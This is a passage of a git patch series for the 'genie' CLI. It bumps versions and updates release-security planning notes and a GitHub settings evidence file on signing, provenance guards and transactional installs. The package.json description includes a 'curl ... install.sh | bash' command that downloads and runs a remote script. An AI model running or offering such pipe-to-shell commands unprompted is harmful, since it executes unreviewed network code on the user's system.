b/.claude-plugin/marketplace.json @@ -10,7 +10,7 @@ "plugins": [ { "name": "genie", - "version": "5.260714.8", + "version": "5.260715.1", "source": "./plugins/genie", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, wish them into plans, make with parallel agents, ship as one team. A coding genie that grows with your project." } diff --git a/package.json b/package.json index 40ecc99b7..d46825701 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "@automagik/genie", - "version": "5.260714.8", + "version": "5.260715.1", "description": "Collaborative terminal toolkit for human + AI workflows. NOTE: npm distribution discontinued 2026-05-09 — install via `curl -fsSL https://raw.githubusercontent.com/automagik-dev/genie/main/install.sh | bash` (cosign + SLSA verified). See https://automagik.dev/genie/release-process", "license": "MIT", "type": "module", diff --git a/plugins/genie/.claude-plugin/plugin.json b/plugins/genie/.claude-plugin/plugin.json index 23bfee3ee..612167372 100644 --- a/plugins/genie/.claude-plugin/plugin.json +++ b/plugins/genie/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260714.8", + "version": "5.260715.1", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, turn them into wishes, execute with /work, validate with /review, and ship as one team.", "author": { "name": "Namastex Labs" diff --git a/plugins/genie/.codex-plugin/plugin.json b/plugins/genie/.codex-plugin/plugin.json index 556542244..801918641 100644 --- a/plugins/genie/.codex-plugin/plugin.json +++ b/plugins/genie/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260714.8", + "version": "5.260715.1", "description": "Plan, execute, review, and ship software with Genie workflows in Codex.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/package.json b/plugins/genie/package.json index 793e3e407..b7a27a404 100644 --- a/plugins/genie/package.json +++ b/plugins/genie/package.json @@ -1,6 +1,6 @@ { "name": "genie-plugin", - "version": "5.260714.8", + "version": "5.260715.1", "private": true, "description": "Runtime dependencies for genie bundled CLIs", "license": "MIT", diff --git a/plugins/hermes-genie/plugin.yaml b/plugins/hermes-genie/plugin.yaml index 97e89dc0b..9a2b95e01 100644 --- a/plugins/hermes-genie/plugin.yaml +++ b/plugins/hermes-genie/plugin.yaml @@ -1,5 +1,5 @@ name: genie -version: 5.260714.8 +version: 5.260715.1 description: "Native Hermes surface for Genie orchestration: read-only status plus work-plan and review-plan gap tools that the MCP board surface does not cover, hooks, commands, and a thin cockpit skill. Board/task truth comes from the genie MCP tools." provides_tools: # Default surface: exactly the three gap tools the MCP board surface does not cover. From 24f50043d7749f6217c53e625a801f8586fa9e8d Mon Sep 17 00:00:00 2001 From: namastex888 Date: Tue, 14 Jul 2026 22:11:28 -0300 Subject: [PATCH 19/20] fix: harden stable release transactions [auto-version] --- .genie/release-readiness-5x.md | 2 +- .genie/wishes/routing-delivery-fix/WISH.md | 14 +- .../stable-release-security-gate/WISH.md | 26 +- .../qa/github-settings-evidence-20260714.json | 197 +- .../ISSUE_TEMPLATE/signing-key-fingerprint.md | 29 +- .github/actions/ggshield/action.yml | 14 + .github/cosign.pub | 6 +- .github/workflows/audit-next-tag.yml | 5 +- .github/workflows/build-tarballs.yml | 88 +- .github/workflows/ci.yml | 26 +- .github/workflows/commitlint.yml | 27 +- .github/workflows/docs-lint.yml | 28 +- .github/workflows/release-orphan-alert.yml | 4 +- .github/workflows/release-publish.yml | 362 ++- .github/workflows/release.yml | 199 +- .github/workflows/sign-attest.yml | 300 ++- .github/workflows/signing-identity-pin.yml | 7 +- .github/workflows/version.yml | 351 +-- .well-known/security.txt | 5 +- README.md | 6 +- SECURITY.md | 114 +- bun.lock | 272 ++- install.sh | 198 +- package.json | 4 + scripts/check-fingerprint-pinning.sh | 10 +- scripts/install-swap.test.ts | 191 +- scripts/reconcile-channel-manifests.sh | 143 ++ scripts/reconcile-channel-manifests.test.ts | 138 ++ scripts/reconcile-release-assets.sh | 227 ++ scripts/reconcile-release-assets.test.ts | 308 +++ scripts/reconcile-release-note.sh | 95 +- scripts/reconcile-release-note.test.ts | 156 +- scripts/release-docs.test.ts | 269 ++- scripts/release-generic-provenance.sh | 138 ++ scripts/release-generic-provenance.test.ts | 172 ++ scripts/release-guard.sh | 401 +++- scripts/release-guard.test.ts | 380 ++- scripts/release-immutability.sh | 26 + scripts/release-immutability.test.ts | 60 + scripts/release-native-predicate.sh | 154 ++ scripts/release-native-predicate.test.ts | 123 + scripts/verify-release.sh | 31 +- scripts/verify-release.test.ts | 19 +- src/genie-commands/__tests__/update.test.ts | 960 +------- src/genie-commands/doctor.test.ts | 84 +- src/genie-commands/doctor.ts | 61 +- src/genie-commands/install-promote.test.ts | 257 +++ src/genie-commands/install-promote.ts | 320 +++ src/genie-commands/install.test.ts | 40 +- src/genie-commands/uninstall.test.ts | 730 +++++- src/genie-commands/uninstall.ts | 1447 ++++++++++-- src/genie-commands/update.ts | 984 +++----- src/genie.ts | 12 +- src/lib/agent-sync.test.ts | 328 ++- src/lib/agent-sync.ts | 368 ++- src/lib/install-link.test.ts | 172 ++ src/lib/install-link.ts | 401 ++++ src/lib/install-promotion.test.ts | 821 +++++++ src/lib/install-promotion.ts | 2049 +++++++++++++++++ src/lib/install-transaction.test.ts | 450 ++++ src/lib/install-transaction.ts | 578 +++++ src/lib/interactivity.ts | 1 + src/lib/runtime-integrations.test.ts | 29 +- 63 files changed, 12538 insertions(+), 2879 deletions(-) create mode 100644 .github/actions/ggshield/action.yml create mode 100644 scripts/reconcile-channel-manifests.sh create mode 100644 scripts/reconcile-channel-manifests.test.ts create mode 100644 scripts/reconcile-release-assets.sh create mode 100644 scripts/reconcile-release-assets.test.ts create mode 100644 scripts/release-generic-provenance.sh create mode 100644 scripts/release-generic-provenance.test.ts create mode 100644 scripts/release-immutability.sh create mode 100644 scripts/release-immutability.test.ts create mode 100644 scripts/release-native-predicate.sh create mode 100644 scripts/release-native-predicate.test.ts create mode 100644 src/genie-commands/install-promote.test.ts create mode 100644 src/genie-commands/install-promote.ts create mode 100644 src/lib/install-link.test.ts create mode 100644 src/lib/install-link.ts create mode 100644 src/lib/install-promotion.test.ts create mode 100644 src/lib/install-promotion.ts create mode 100644 src/lib/install-transaction.test.ts create mode 100644 src/lib/install-transaction.ts diff --git a/.genie/release-readiness-5x.md b/.genie/release-readiness-5x.md index d7a87d452..06dc17477 100644 --- a/.genie/release-readiness-5x.md +++ b/.genie/release-readiness-5x.md @@ -57,7 +57,7 @@ tag `v`) → tag `v*` fires `release.yml` orchestrator → `build-tarba `genie--.tar.gz` (build) → `+.bundle` `+.intoto.jsonl` (sign) → upload `dist/*` = 12 assets (publish) → `install.sh` downloads `genie--.tar.gz` + `.bundle` and runs `cosign verify-blob` / `gh attestation verify` with cert-identity -pinned to `^https://github.com/automagik-dev/genie/.github/workflows/sign-attest.yml@` +pinned to `^https://github\.com/automagik-dev/genie/\.github/workflows/sign-attest\.yml@refs/heads/main$` + github OIDC issuer — matches the workflow that physically holds the cosign step. **Manifest chain consistent:** publish writes `.well-known/{latest,homolog,dev}.json` diff --git a/.genie/wishes/routing-delivery-fix/WISH.md b/.genie/wishes/routing-delivery-fix/WISH.md index 051807b5c..54e0e8e2c 100644 --- a/.genie/wishes/routing-delivery-fix/WISH.md +++ b/.genie/wishes/routing-delivery-fix/WISH.md @@ -25,8 +25,8 @@ all seven as bare-named agent types in fresh and reloaded sessions. ### IN -- agent-sync fans the canonical source's `agents/` dir into `~/.claude/agents/` on `genie update` / - `genie install` (and the SessionStart sync-only trigger), with: managed stamp (`.genie-sync.json`, +- agent-sync fans the canonical source's `agents/` dir into `~/.claude/agents/` on explicit + `genie update` / `genie install`, with: managed stamp (`.genie-sync.json`, `managedBy: genie-agent-sync`), backup-first adoption of pre-existing unmanaged files (covers the 2026-07-11 hand-copy), stale refresh, orphan removal of genie-stamped agents whose source vanished, and unmanaged (user-authored) entries never touched. @@ -55,12 +55,14 @@ all seven as bare-named agent types in fresh and reloaded sessions. | 2 | Acceptance discriminator = the managed stamp, not file presence | The 2026-07-11 hand-copy already makes "files present + agents surface" pass; only `genie update` writing the stamp (or a clean-host QA) proves the fan-out itself (plan-review MEDIUM) | | 3 | Doctor warns (not blocks) on enabled genie plugin | Duplicate `genie:*` + bare-name agents degrade UX but break nothing; warn + document the resolution (design Risk 7) | | 4 | Adopt-with-backup for pre-existing files, never overwrite silently | Same contract as skills; the hand-copy must be adopted under the stamp, and user-authored agents with colliding names must be backed up before replacement, never lost | +| 5 | SessionStart remains diagnostic-only and read-only | Hook trust and workspace trust are explicit user decisions. Lifecycle hooks must not mutate global delivery state; install/update are the consented synchronization surfaces. | +| 6 | Recovery backups live beside, not inside, `GENIE_HOME` | `~/.genie-recovery/agent-sync-*` survives a full uninstall and cannot be erased with the tree whose removal it protects. | ## Success Criteria - [ ] After `genie update`, `~/.claude/agents/` contains all seven role files AND the `.genie-sync.json` managed stamp (`managedBy: genie-agent-sync`); the pre-existing hand-copy is - adopted with backups under `~/.genie/state-backups/`. + adopted with backups under `~/.genie-recovery/agent-sync-*`. - [ ] Fresh session (or `/reload-plugins`) lists all seven bare-named agent types sourced from the stamped files (verify on this host post-update; mechanism itself already proven 2026-07-11). - [ ] `genie doctor` output distinguishes genie-managed vs merely-present vs stale role agents, and @@ -113,7 +115,7 @@ all seven as bare-named agent types in fresh and reloaded sessions. (`SyncManifest` :179–184 field shapes reused). - **Create/update:** write the file + record its digest. **Adopt-with-backup:** an existing target file not in the manifest (the 2026-07-11 hand-copy, or a user's colliding name) is backed up via - the `backupInto` closure pattern (:768–776 → `~/.genie/state-backups/…`) before replacement. + the `backupInto` closure pattern (:768–776 → `~/.genie-recovery/agent-sync-*`) before replacement. - **Orphans:** a manifest-recorded filename whose source vanished is backed-up-then-removed if its digest matches (unmodified); a digest-mismatched (user-edited) managed file is KEPT with an advisory, never deleted (semantics of `removeManagedOrphans` :418–440, per-file). @@ -137,7 +139,7 @@ all seven as bare-named agent types in fresh and reloaded sessions. **Acceptance Criteria:** - [ ] Running the sync twice is idempotent (second run reports no changes). -- [ ] A pre-existing unmanaged `scout.md` is adopted: backup exists under the state-backups dir, file +- [ ] A pre-existing unmanaged `scout.md` is adopted: backup exists under the sibling recovery root, file becomes stamped-managed. - [ ] A user file `my-own-agent.md` in `~/.claude/agents/` survives sync and uninstall untouched. - [ ] Deleting `scout.md` from the source and re-syncing removes the target copy (orphan removal), @@ -250,7 +252,7 @@ _What must be verified on dev after merge. The QA agent tests each criterion._ | Risk | Severity | Mitigation | |------|----------|------------| -| Name collision with a user-authored agent of the same name (e.g. their own `reviewer.md`) | Medium | Adopt-with-backup, never silent overwrite; doctor lists the adoption; backups under `~/.genie/state-backups/` | +| Name collision with a user-authored agent of the same name (e.g. their own `reviewer.md`) | Medium | Adopt-with-backup, never silent overwrite; doctor lists the adoption; backups under `~/.genie-recovery/agent-sync-*` | | Hosts with the plugin ENABLED get duplicates (`genie:*` + bare) | Medium | Group B warning + documented resolution (design Risk 7) | | `CLAUDE_CODE_SUBAGENT_MODEL` env silently overrides pins | Medium | Carried from umbrella — doctor env check exists per routing-matrix wish; re-verify in Group C evidence | | Day-3 share numbers noise-dominated by thread mix | Low | Fingerprint check is primary; shares directional with top-3 exclusion (plan-review MEDIUM) | diff --git a/.genie/wishes/stable-release-security-gate/WISH.md b/.genie/wishes/stable-release-security-gate/WISH.md index cbdf50fbf..7f6f114c9 100644 --- a/.genie/wishes/stable-release-security-gate/WISH.md +++ b/.genie/wishes/stable-release-security-gate/WISH.md @@ -45,10 +45,10 @@ Close inherited stable-publication risks that are unchanged by PR #2545 but stil - [x] Stable artifacts can originate only from the approved protected ref/tag SHA after required CI. *(G1 SHIP 2026-07-14; guard jobs load-bearing at all 4 entry points)* - [x] Manual recovery inputs are grammar-validated and bound to the expected repository, workflow, conclusion, ref, and SHA. *(`scripts/release-guard.sh` + 18 fixtures; MEDIUM follow-up: head_branch-vs-null API shape)* -- [x] External Actions are SHA-pinned; installs are frozen; permissions and secrets are least-privilege. *(5 pins verified upstream; documented SLSA-generator tag-pin exception)* -- [x] Production Environment approval requires an independent maintainer and is evidenced without exposing secrets. *(2026-07-14: `qa/github-settings-evidence-20260714.json` — end-to-end gate demo still pending Group 1's `environment: production` wiring)* +- [x] External Actions are SHA-pinned; installs are frozen; permissions and secrets are least-privilege. *(All remote dependencies are commit-pinned except the SLSA generator's mandatory exact `v2.1.0` builder-identity reference; that exception is explicit and regression-tested.)* +- [ ] Production Environment approval requires an independent maintainer and is evidenced without exposing secrets. *(The live environment now admits only `main`, requires either `namastex888` or `vasconceloscezar`, prevents self-review, and forbids admin bypass; an end-to-end two-maintainer demonstration is still required.)* - [x] Swap/promotion rollback and current artifact verification pass destructive-failure fixtures. *(7 fixtures; verify-release.sh realigned to real asset scheme)* -- [x] Dev/homolog channel releases continue to publish without manual approval throughout and after this work. *(dev dispatch traced through all guards; confirm live on first post-merge dev release)* +- [ ] Dev/homolog channel releases continue to publish without manual approval throughout and after this work. *(The main-controlled `version.yml` path remains reviewer-free, but manifest publication is intentionally blocked while the organization-wide deploy-key policy prevents provisioning the narrow `release-manifests` credential. Confirm live after separately approved credential setup and the first post-merge dev release.)* ## Execution Strategy @@ -70,7 +70,7 @@ Split 2026-07-14 (operator decision, brainstorm disposition): code hardening is **Deliverables:** 1. **F16:** Every standalone `workflow_dispatch` entry point that can reach stable artifacts is guarded — all four: `release.yml`, `build-tarballs.yml`, `sign-attest.yml`, and `release-publish.yml` (whose standalone dispatch currently defaults `channel` to `stable` and takes an operator `run_id`, bypassing the orchestrator entirely). Stable requires a protected `v*` tag SHA that passed required CI; dispatch recovery is bound to that same identity, never a free-form ref. 2. **F17:** Extract the ref/tag guard and the run-id provenance validation (expected repository, workflow file, run conclusion, ref, head SHA, plus version-grammar check) into testable shell or TS helpers invoked by the workflows, with unit fixtures — inline `${{ }}` expressions alone are not acceptable since CI has no workflow simulator. -3. **F18:** SHA-pin all third-party Actions and reusable workflows (including `ggshield-action` in `ci.yml` and the tag-pinned SLSA reusable in `sign-attest.yml`); freeze the still-unfrozen installs in `version.yml` and `ci.yml`; add the missing least-privilege `permissions:` blocks (`ci.yml` has none); replace blanket `secrets: inherit` in `release.yml` with explicitly scoped secrets. +3. **F18:** SHA-pin all third-party Actions and reusable workflows (including `ggshield-action` in `ci.yml`); retain only the SLSA generator's mandatory exact-semver builder reference as an explicit exception because replacing it with a commit SHA changes the SLSA builder identity; freeze the still-unfrozen installs in `version.yml` and `ci.yml`; add the missing least-privilege `permissions:` blocks (`ci.yml` has none); replace blanket `secrets: inherit` in `release.yml` with explicitly scoped secrets. 4. **F31:** Transactional binary promotion/rollback in `install.sh` / `src/genie-commands/update.ts`, with destructive-failure fixtures (kill mid-swap, corrupt artifact, mismatched provenance). **Constraint:** must preserve the durable `.steal` lifecycle-lock recovery protocol in `install.sh` and its shell/TS parity (F42/F45–F47/F50 hardening) — add a regression check, do not rework that contract. 5. **F31:** Realign `scripts/verify-release.sh` to the real asset scheme (`*.tar.gz`, `.bundle`, per-tarball `*.intoto.jsonl`, bundle-based cosign verification) with a fixture — it currently cannot verify any real release. 6. `environment: production` scoped to the **stable channel only** (channel-conditional expression or a split stable-publish job) so Group 2's required-reviewer gate attaches to stable without touching dev/homolog flow. @@ -78,10 +78,10 @@ Split 2026-07-14 (operator decision, brainstorm disposition): code hardening is **Acceptance Criteria:** - [x] A non-tag ref dispatched at any of the four stable-capable entry points fails closed (guard jobs load-bearing via `needs:` at all four; 18 helper fixtures incl. negatives). - [x] A mismatched/failed upstream run cannot be signed or published (`release-guard.sh` binds repo/workflow/status/conclusion/ref/SHA/version-grammar; injection fixtures pass). -- [x] A dev-channel release publishes end-to-end **without** environment approval (dev dispatch traced through every guard; `environment: ${{ inputs.channel == 'stable' && 'production' || '' }}` confirmed as the documented no-environment idiom). +- [x] A dev-channel release publishes end-to-end **without** environment approval (dev dispatch is isolated from the stable-only `approve-stable` job and traced through every guard). - [x] `install.sh` steal-guard protocol unchanged (reviewer independently recomputed digest `c6d5c4bd…` on both trees; pinned in `install-swap.test.ts`); 7 destructive-failure fixtures pass. -- [x] `bun run check` green (typecheck 0, biome 0, tests 0 fail across chunks; knip exit-1 is the documented pre-existing carve-out with zero new findings vs dev). -- [x] Independent review of the group returns SHIP (execution review 2026-07-14, reviewer aca929030341671c0). +- [x] Final `bun run check` and full `bun test` are green on the exact rebased PR tree (1,957 tests / 6,945 assertions; zero failures). +- [x] Independent review of the final exact PR tree returns SHIP. *(Overall and release-chain reviews of `8870c57cf7c054eb695986359733602bc7d3d47e` returned SHIP; the transaction specialist's VERSION-binding follow-up was fixed and independently re-reviewed SHIP before the final evidence amendment.)* **Validation:** ```bash @@ -100,10 +100,12 @@ bun test 1. GitHub Environment `production` with an independent required reviewer **and "Prevent self-review" enabled** — without that toggle, a required reviewer can approve their own triggered deployment, which would void the independence claim. 2. Ruleset/branch-tag protection for `v*` stable tags. 3. Exported evidence (GitHub API JSON or settings export, no secrets) committed under `qa/` in this wish — must capture the reviewer set **and** the prevent-self-review setting explicitly. +4. Deployment branch policy permits the protected `main` control ref used by `release.yml`; bot-authored automation cannot initiate stable, and a live two-maintainer run proves the initiating maintainer cannot approve it. +5. The `release-manifests` environment remains reviewer-free and restricted to `main`; its write credential is provisioned only after separate approval to change the organization-wide deploy-key policy, without adding a broader Actions or user-token bypass. **Acceptance Criteria:** -- [x] Environment approval demonstrably requires an independent maintainer: evidence shows the reviewer set and `prevent_self_review: true`, without exposing secrets. *(reviewers namastex888 + vasconceloscezar, `prevent_self_review: true`, `can_admins_bypass: false`)* -- [x] Evidence file present in `qa/` and referenced from Review Results. *(`qa/github-settings-evidence-20260714.json`)* +- [ ] Environment approval demonstrably requires an independent maintainer: current evidence shows reviewers `namastex888` + `vasconceloscezar`, `prevent_self_review: true`, `can_admins_bypass: false`, and an exact `main` deployment policy; no live two-maintainer run has yet been captured. +- [x] Evidence file present in `qa/` and referenced from Review Results. *(`qa/github-settings-evidence-20260714.json`; it is retained as dated evidence, not treated as proof of the pending cutover.)* **depends-on:** Group 1 (the `environment: production` reference must exist in the workflow before the gate is observable end-to-end) @@ -122,12 +124,16 @@ bun test | Risk | Severity | Mitigation | |------|----------|------------| | Repository settings are external to Git | High | Require exported/screenshot/API evidence and human approval before SHIP. | +| Bot-initiated stable runs make prevent-self-review exclude the bot instead of the change initiator | High | Never auto-dispatch stable; require a fresh human dispatch and reject bot/rerun identities before the environment gate. | +| Enabling immutable releases while predecessor workflow runs are active | Critical | Seal and drain old-main Version/Release runs before enablement; reject predecessor releases and cut a fresh version under merged draft-first control. | | Recovery paths become unusable | Medium | Keep a protected, provenance-bound manual recovery path and test it. | --- ## Review Results +**PR #2587 final hardening 2026-07-15: repository remediation, exact rebased-tree gates, and independent review complete — SHIP.** Overall exact-SHA and dedicated release-chain reviews of `8870c57cf7c054eb695986359733602bc7d3d47e` returned SHIP with no CRITICAL, HIGH, or MEDIUM release defect. A transaction specialist then identified one MEDIUM integrity follow-up: the authenticated physical `VERSION` member was not textually bound to `expectedVersion`. Promotion and admission now require the expected version and reject any stamp other than exact canonical `\n` bytes through a stable, owned, single-link, no-follow descriptor read capped at 256 bytes; stale, whitespace, CRLF, extra-line, oversized, and hard-link fixtures prove failure before transaction or live mutation. Independent re-review of that delta returned SHIP with no remaining medium-or-higher finding. LOW follow-ups are to digest-pin the unprivileged `alpine:3.19` smoke-test image and, later, unify same-UID external temporary-root cleanup with the native identity-bound internal cleanup; the latter requires a broader native guard and is not a cross-principal boundary. The earlier Group 1 SHIP below is historical evidence only. The final code emits a human-initiation handoff for stable, rejects bot-authored or rerun stable attempts, and admits dev/homolog only through a local reusable-workflow call whose top-level caller is the exact `version.yml@main` control commit; the source must also remain on authoritative dev's first-parent chain. Install and update now share one exact-generation promotion engine: it validates the fixed release payload, captures the prior `genie` before `VERSION`, publishes `VERSION` before `genie`, executes the live binary before commit, rolls active transactions back with `genie` restored last, and retains ambiguous objects without clobbering. Downloads and extraction stay in protected mode-0700 temporary roots; a held `mkdirat`/`openat` staging capability admits length-framed digest-matched payloads without writing through replaced `GENIE_HOME/bin` or staging paths. Adversarial fixtures preserve symlink victims, reject post-admission mutation, and recover interrupted final publication. The unsafe duplicate updater swap/recovery authority was removed; legacy binary-only rollback and pending-delivery journals are read-only and fail closed with signed-reinstall guidance. The live `production` policy is corrected to `main`, immutable releases are enabled, and no-bypass main/tag rulesets are active. Exact rebased-tree gates are green (`bun run check` and full `bun test`: 1,957 tests / 6,945 assertions; installer/updater transaction focus: 310 tests / 1,008 assertions; zero failures or skips in the updater focus). Repository code is SHIP; wish closure still requires separately approved narrow manifest-write credential setup and an end-to-end two-maintainer demonstration. + **PR #2585 bot-comment triage 2026-07-14 (verified against code, per PR Review Rules):** Codex P1 **confirmed real and merge-blocking** — release.yml's `publish` caller granted only `contents: write`/`id-token: write` while the called release-publish.yml guard job requests `actions: read`; a called workflow cannot elevate past its caller, so every orchestrated release (dev included) would have failed at workflow init. Missed by the execution review; uncatchable by PR CI (release workflows don't run on PRs). Fixed by granting `actions: read` on the caller. Codex P2 (run_id validated before gh presence probe) and Gemini mktemp-leak (severity inflated; fixed via `${tmp:-}` EXIT trap) also applied. Codex P2 sidecar-rollback = the already-recorded LOW follow-up. Gemini subshell-exit rejected: `set -euo pipefail` propagates the subshell's exit 5 and the exit-code contract is fixture-tested. **Group 1 execution review 2026-07-14 (reviewer aca929030341671c0, adversarial, independent of the engineer): SHIP.** Branch `wish/stable-release-security-gate`, commits `d4b4b31b` + `7bd90757` + `b3593c4b` (13 files, +1128/−80). All 7 verification legs PASS with the reviewer re-deriving evidence itself (guard `needs:` wiring at all 4 entry points, provenance-binding negatives, dev-flow trace, `.steal` digest recomputation, fingerprint-witness contract, upstream SHA-pin resolution, gates re-run). Three advisory non-blocking follow-ups recorded: @@ -135,7 +141,7 @@ bun test - **LOW:** rollback restores only the binary, not sidecars (VERSION/plugins) — practically unreachable, documented in-code. - **LOW:** first-party `actions/*` remain tag-pinned (wish scoped pinning to third-party). -**Group 2 external state configured 2026-07-14 (operator-directed, executed via `gh api` as namastex888; approver set named by the operator):** GitHub Environment `production` — required reviewers `namastex888` + `vasconceloscezar`, `prevent_self_review: true`, `can_admins_bypass: false`, deployment refs restricted to `v*` tags; repository ruleset `v-tags-immutable` (id 18938286, active, no bypass actors) blocks deletion/update/non-fast-forward on `refs/tags/v*` while leaving tag creation untouched (continuous dev releases unaffected). Evidence: [`qa/github-settings-evidence-20260714.json`](qa/github-settings-evidence-20260714.json). Remaining for G2 closure: observe the gate end-to-end once Group 1 wires `environment: production` into the stable publish job. +**Group 2 external state refreshed 2026-07-15 (operator-directed, executed via `gh api` as namastex888; approver set named by the operator):** GitHub Environment `production` requires reviewers `namastex888` + `vasconceloscezar`, has `prevent_self_review: true` and `can_admins_bypass: false`, and admits only the protected `main` control branch. Immutable releases are enabled. Ruleset `main-protection` (id 9203218, active, no bypass actors) requires one last-push-independent approval, resolved threads, strict exact `Quality Gate (typecheck + lint + test)`, merge-only history, and blocks deletion/non-fast-forward updates on `refs/heads/main`. Ruleset `v-tags-immutable` (id 18938286, active, no bypass actors) blocks deletion/update/non-fast-forward on `refs/tags/v*`. The reviewer-free `release-manifests` environment is restricted to `main` and has no secrets, so its current `can_admins_bypass: true` setting grants no manifest authority; set it to `false` before separately approving and provisioning the deploy-key secret. The secret is deliberately absent because the organization currently disables deploy keys; no broader bypass was introduced. Version and Release workflows remain disabled during the cutover. Evidence: [`qa/github-settings-evidence-20260714.json`](qa/github-settings-evidence-20260714.json). G2 remains open until narrow credential setup receives separate approval and the human-initiation/two-maintainer gate is observed end to end. **Plan re-review 2026-07-14 (reviewer agent aca929030341671c0): SHIP — all six gaps resolved, coverage complete (6 SC / 3 QA / 4 IN jointly owned by G1+G2), status persisted APPROVED by the invoking orchestrator.** One LOW non-blocking observation: the dev-flow regression AC exercises dev only, acceptable because the guard is a single `channel == 'stable'` exemption and the homolog branch is dormant. diff --git a/.genie/wishes/stable-release-security-gate/qa/github-settings-evidence-20260714.json b/.genie/wishes/stable-release-security-gate/qa/github-settings-evidence-20260714.json index b39d6ce5d..cad0de64b 100644 --- a/.genie/wishes/stable-release-security-gate/qa/github-settings-evidence-20260714.json +++ b/.genie/wishes/stable-release-security-gate/qa/github-settings-evidence-20260714.json @@ -1,109 +1,105 @@ { - "captured_at": "2026-07-14T15:50Z", + "captured_at": "2026-07-15T15:53:53Z", "captured_by": "gh api via namastex888 (operator-directed)", - "environment": { - "id": 18140927752, - "node_id": "EN_kwDOPWUnhs8AAAAEOUiXCA", + "production_environment": { "name": "production", - "url": "https://api.github.com/repos/automagik-dev/genie/environments/production", - "html_url": "https://github.com/automagik-dev/genie/deployments/activity_log?environments_filter=production", - "created_at": "2026-07-14T15:47:46Z", - "updated_at": "2026-07-14T15:49:13Z", "can_admins_bypass": false, - "protection_rules": [ - { - "id": 59926737, - "node_id": "GA_kwDOPWUnhs4DkmjR", - "type": "required_reviewers", - "prevent_self_review": true, - "reviewers": [ - { - "type": "User", - "reviewer": { - "login": "namastex888", - "id": 105755034, - "node_id": "U_kgDOBk2xmg", - "avatar_url": "https://avatars.githubusercontent.com/u/105755034?v=4", - "gravatar_id": "", - "url": "https://api.github.com/users/namastex888", - "html_url": "https://github.com/namastex888", - "followers_url": "https://api.github.com/users/namastex888/followers", - "following_url": "https://api.github.com/users/namastex888/following{/other_user}", - "gists_url": "https://api.github.com/users/namastex888/gists{/gist_id}", - "starred_url": "https://api.github.com/users/namastex888/starred{/owner}{/repo}", - "subscriptions_url": "https://api.github.com/users/namastex888/subscriptions", - "organizations_url": "https://api.github.com/users/namastex888/orgs", - "repos_url": "https://api.github.com/users/namastex888/repos", - "events_url": "https://api.github.com/users/namastex888/events{/privacy}", - "received_events_url": "https://api.github.com/users/namastex888/received_events", - "type": "User", - "user_view_type": "public", - "site_admin": false - } - }, - { - "type": "User", - "reviewer": { - "login": "vasconceloscezar", - "id": 97035956, - "node_id": "U_kgDOBcimtA", - "avatar_url": "https://avatars.githubusercontent.com/u/97035956?v=4", - "gravatar_id": "", - "url": "https://api.github.com/users/vasconceloscezar", - "html_url": "https://github.com/vasconceloscezar", - "followers_url": "https://api.github.com/users/vasconceloscezar/followers", - "following_url": "https://api.github.com/users/vasconceloscezar/following{/other_user}", - "gists_url": "https://api.github.com/users/vasconceloscezar/gists{/gist_id}", - "starred_url": "https://api.github.com/users/vasconceloscezar/starred{/owner}{/repo}", - "subscriptions_url": "https://api.github.com/users/vasconceloscezar/subscriptions", - "organizations_url": "https://api.github.com/users/vasconceloscezar/orgs", - "repos_url": "https://api.github.com/users/vasconceloscezar/repos", - "events_url": "https://api.github.com/users/vasconceloscezar/events{/privacy}", - "received_events_url": "https://api.github.com/users/vasconceloscezar/received_events", - "type": "User", - "user_view_type": "public", - "site_admin": false - } - } - ] - }, - { - "id": 59926738, - "node_id": "GA_kwDOPWUnhs4DkmjS", - "type": "branch_policy" - } + "prevent_self_review": true, + "required_reviewers": [ + "namastex888", + "vasconceloscezar" ], "deployment_branch_policy": { "protected_branches": false, - "custom_branch_policies": true + "custom_branch_policies": true, + "policies": [ + { + "id": 54725291, + "name": "main", + "type": "branch" + } + ] } }, - "deployment_branch_policies": { - "total_count": 1, - "branch_policies": [ + "release_manifests_environment": { + "name": "release-manifests", + "required_reviewers": [], + "deployment_branch_policy": { + "protected_branches": false, + "custom_branch_policies": true, + "policies": [ + { + "id": 54725330, + "name": "main", + "type": "branch" + } + ] + }, + "release_manifests_deploy_key_secret_configured": false + }, + "main_ruleset": { + "id": 9203218, + "name": "main", + "target": "branch", + "enforcement": "active", + "conditions": { + "ref_name": { + "include": [ + "refs/heads/main" + ], + "exclude": [] + } + }, + "bypass_actors": [], + "rules": [ { - "id": 54625915, - "node_id": "MDE2OkdhdGVCcmFuY2hQb2xpY3k1NDYyNTkxNQ==", - "name": "v*", - "type": "tag" + "type": "deletion" + }, + { + "type": "non_fast_forward" + }, + { + "type": "pull_request", + "parameters": { + "allowed_merge_methods": [ + "merge" + ], + "dismiss_stale_reviews_on_push": true, + "require_code_owner_review": false, + "require_last_push_approval": true, + "required_approving_review_count": 1, + "required_review_thread_resolution": true + } + }, + { + "type": "required_status_checks", + "parameters": { + "do_not_enforce_on_create": false, + "strict_required_status_checks_policy": true, + "required_status_checks": [ + { + "context": "Quality Gate (typecheck + lint + test)", + "integration_id": 15368 + } + ] + } } ] }, - "ruleset": { + "immutable_tag_ruleset": { "id": 18938286, "name": "v-tags-immutable", "target": "tag", - "source_type": "Repository", - "source": "automagik-dev/genie", "enforcement": "active", "conditions": { "ref_name": { - "exclude": [], "include": [ "refs/tags/v*" - ] + ], + "exclude": [] } }, + "bypass_actors": [], "rules": [ { "type": "deletion" @@ -114,19 +110,28 @@ { "type": "update" } - ], - "node_id": "RRS_lACqUmVwb3NpdG9yec49ZSeGzgEg-a4", - "created_at": "2026-07-14T12:49:48.021-03:00", - "updated_at": "2026-07-14T12:49:48.051-03:00", - "bypass_actors": [], - "current_user_can_bypass": "never", - "_links": { - "self": { - "href": "https://api.github.com/repos/automagik-dev/genie/rulesets/18938286" - }, - "html": { - "href": "https://github.com/automagik-dev/genie/rules/18938286" - } + ] + }, + "immutable_releases": { + "enabled": true, + "enforced_by_owner": false + }, + "release_automation_cutover": { + "version_workflow": { + "id": 242892197, + "state": "disabled_manually", + "active_runs": [] + }, + "release_workflow": { + "id": 200480001, + "state": "disabled_manually", + "active_runs": [] } + }, + "blocked_control": { + "organization_deploy_keys_enabled_for_repositories": false, + "repository_deploy_keys": [], + "reason": "The organization policy rejects repository deploy keys. 